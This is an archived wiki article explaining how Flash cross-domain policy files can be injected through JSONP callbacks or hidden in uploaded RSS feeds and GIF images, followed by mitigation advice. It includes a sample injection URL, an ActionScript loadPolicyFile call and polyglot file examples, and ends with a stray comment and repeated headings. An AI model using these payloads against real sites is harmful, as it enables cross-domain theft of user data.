ArticleFlashSecurityPolicyAttack - doctype - Google Code

Updated Nov 15, 2008 by pilgrim
Labels:	is-article, about-security

ArticleFlashSecurityPolicyAttack

Flash cross-domain policy attacks

Cross-domain policy files (crossdomain.xml) are forgivingly parsed by Flash. If an attacker can construct an HTTP request that results in the server sending back a policy file, then Flash will accept the policy file. For instance, imagine a university website that responds to a course listing request:

http://www.example.com/CourseListing?format=js&callback=<cross-domain-policy><allow-access-from%20domain="*"/></cross-domain-policy>

...with the following output:

<cross-domain-policy><allow-access-from%20domain="*"/></cross-domain-policy>() {
  return {name:”English101”, desc:”Read Books”}, {name:”Computers101”, desc:”play on computers”}
};

Then one could load this policy via the following ActionScript code:

System.security.loadPolicyFile("http://www.university.edu/CourseListing?format=json&callback=<cross-domain-policy>" + 
"<allow-access-from%20domain=\"*\"/></cross-domain-policy>”);

This results in the Flash application having complete cross-domain access to www.example.com.

Security policy stored attacks

System.security.loadPolicyFile() is an ActionScript function in a Flash application that loads any URL, of any MIME type, and attempts to read the security policy in the HTTP response. If an attacker could upload and store an image, audio, RSS feed, or other file on a server that can later be retrieved, then he or she could place the Flash security policy in that file. For example, the following RSS feed is accepted as an open security policy:

<rss version="2.0">
<channel>
  <title>
<cross-domain-policy>
  <allow-access-from domain="*" />
</cross-domain-policy>
  </title>
  <link>x</link>
  <description>x</description>
  <language>en-us</language>
  <pubDate>Tue, 10 Jun 2003 04:00:00 GMT</pubDate>
  <lastBuildDate>Tue, 10 Jun 2003 09:41:01 GMT</lastBuildDate>
  <docs>x</docs>
  <generator>x</generator>
  <item>
    <title>x</title>
    <link>x</link>
    <description>x</description>
    <pubDate>Tue, 03 Jun 2003 09:39:21 GMT</pubDate>
    <guid>x</guid>
  </item>
</channel>
</rss>

Even worse, the file does not even have to be XML. The GIF image below places the Flash security policy in a GIF comment and is also accepted as an open security policy:

00000000 47 49 46 38 39 61 01 01-01 01 e7 e9 20 3c 63 72  GIF89a.......<cr
00000010 6f 73 73 2d 64 6f 6d 61-69 6e 2d 70 6f 6c 69 63  oss-domain-polic
00000020 79 3e 0a 20 20 3c 61 6c-6c 6f 77 2d 61 63 63 65  y>...<allow-acce
00000030 73 73 2d 66 72 6f 6d 20-64 6f 6d 61 69 6e 3d 22  ss-from domain="
00000040 2a 22 2f 3e 20 0a 20 20-3c 2f 63 72 6f 73 73 2d  *"/>....</cross-
00000050 64 6f 6d 61 69 6e 2d 70-6f 6c 69 63 79 3e 47 49  domain-policy>..

In fact, an attacker can embed the security policy within the data of any valid image, audio or other data file. This is easier to do so with uncompressed file formats, like BMP image files, but is possible in virtually any file format. The only limitations are that each byte before the </cross-domain-policy> tag must:

Be non-zero,
Have no unclosed XML tags (no stray <, 0x3c), and
Be 7-bit ASCII (bytes 0x01 to 0x7F)

Preventing security policy attacks

In order to stop publishing user provided Flash security policies, we must break the Flash security policy parser -- a very relaxed XML parser. We recommend developers do one of the following:

Replace < and >, with their HTML entity equivalents (< and >), or other characters, like [ and ].
Begin the response with the NULL character (0x00).
Strip < and >.
Serve this data from a different domain or numbered IP address where cross-domain attacks have no effect.
Use unique tokens or other means so that attackers cannot generate predictable URLs to lure victims.
Only respond to POST requests (and do not respond to GET requests) for responses that could be used for attacks.

To repeat, the Flash security parser does not respect MIME type. It will treat image/gif, text/xml, application/octet-stream, application/x-javascript, or any other MIME type as potential security policies. Developers must ensure that all responses with user provided data cannot contain embedded Flash security policies. The recommendations above must even exist when we respond with user provided images, RSS feeds, etc.

We do not recommend blacklisting bad strings like blacklisting cross-domain-policy, because the blacklisting code we generate will be different than the Flash security policy parser, and inevitably, someone will find a way to sneak the string through our blacklisting code.

While my code currently only applies my workaround policy checking algorithm in a specific subset of cases relevant to the hole I was addressing (where the page-domain and the swf-domain differ), I could quite easily remove that check and my code would effectively "plug" up a good portion of the vulnerabilities to the security file parsing as pointed out in this post.

Thanks for bringing this to light... it's very important and intriguing to examine.

Security policy stored attacks

Preventing security policy attacks

Further reading